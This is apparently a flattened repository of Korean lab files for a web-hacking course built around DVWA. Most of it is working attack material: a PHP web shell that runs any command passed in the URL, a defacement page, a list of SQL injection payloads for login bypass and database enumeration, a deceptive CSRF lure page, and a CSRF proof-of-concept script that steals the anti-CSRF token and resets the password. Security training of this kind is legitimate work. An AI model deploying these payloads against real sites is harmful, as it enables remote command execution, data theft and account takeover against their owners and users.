├── README ├── hacked.php ├── 리눅스기본커맨드.txt ├── 실습환경다운로드주소모음.txt ├── webshell.php ├── SQL인젝션실습.txt ├── csrf.html └── csrfhigh.js /README: -------------------------------------------------------------------------------- 1 | "화이트해커가 되기 위한 8가지 웹 해킹 기술" 강의 관련 자료입니다. 2 | -------------------------------------------------------------------------------- /hacked.php: -------------------------------------------------------------------------------- 1 |

2 |
3 | YOU ARE HACKED!!! 4 |
5 |

6 | -------------------------------------------------------------------------------- /리눅스기본커맨드.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecuAcademy/webhacking/HEAD/리눅스기본커맨드.txt -------------------------------------------------------------------------------- /실습환경다운로드주소모음.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecuAcademy/webhacking/HEAD/실습환경다운로드주소모음.txt -------------------------------------------------------------------------------- /webshell.php: -------------------------------------------------------------------------------- 1 | '; 9 | echo '
'; 10 | echo ''; 11 | echo ''; 12 | echo '
'; 13 | 14 | if (isset($_GET['cmd'])) { 15 | system($_GET['cmd']); 16 | } 17 | 18 | ?> -------------------------------------------------------------------------------- /SQL인젝션실습.txt: -------------------------------------------------------------------------------- 1 | // WHERE 구문 우회 2 | 1' or '1'='1 3 | 4 | // UNION을 이용한 칼럼 갯수 알아내기 5 | 1' union select 1,1# 6 | 7 | // ORDER BY 구문을 이용한 칼럼 갯수 알아내기 8 | 1' order by 2# 9 | 10 | // 데이터베이스 명 조회 11 | 1' union select schema_name,1 from information_schema.schemata # 12 | 13 | // dvwa 데이터베이스의 테이블 명 조회 14 | 1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' # 15 | 16 | // users 테이블 칼럼 조회 17 | 1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'# 18 | 19 | // 블라인드 SQL 인젝션 참 구문 20 | 1' AND 1=1# 21 | 22 | // 블라인드 SQL 인젝션 거짓 구문 23 | 1' AND 1=2# 24 | 25 | // 시간기반 블라인드 SQL 인젝션 탐지 구문 26 | 1' AND SLEEP(5)# -------------------------------------------------------------------------------- /csrf.html: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 29 | 30 | 31 | (CSRF 공격 예제)
32 | 이 링크를 누르시면 보안이 강화됩니다!!
33 | Click!
34 | 35 | -------------------------------------------------------------------------------- /csrfhigh.js: -------------------------------------------------------------------------------- 1 | // 2 | // PoC: CSRF (for DVWA high) 3 | // Author: Bonghwan Choi (stayp05@secuacademy.com) 4 | // 5 | 6 | var xhr; 7 | var dvwa_csrf_url = '/dvwa/vulnerabilities/csrf/'; 8 | req1(); 9 | 10 | function req1() { 11 | xhr = new XMLHttpRequest(); 12 | 13 | xhr.onreadystatechange = req2; 14 | xhr.open('GET', dvwa_csrf_url); 15 | xhr.send(); 16 | } 17 | 18 | function req2() { 19 | if (xhr.readyState === 4 && xhr.status === 200) { 20 | var htmltext = xhr.responseText; 21 | var parser = new DOMParser(); 22 | var htmldoc = parser.parseFromString(htmltext,'text/html'); 23 | 24 | var CSRFtoken = htmldoc.getElementsByName("user_token")[0].value; 25 | alert('Found the token: ' + CSRFtoken); 26 | 27 | xhr = new XMLHttpRequest(); 28 | xhr.open('GET', dvwa_csrf_url + '?password_new=hacker&password_conf=hacker&Change=Change&user_token=' + CSRFtoken); 29 | xhr.send(); 30 | 31 | } 32 | 33 | } 34 | --------------------------------------------------------------------------------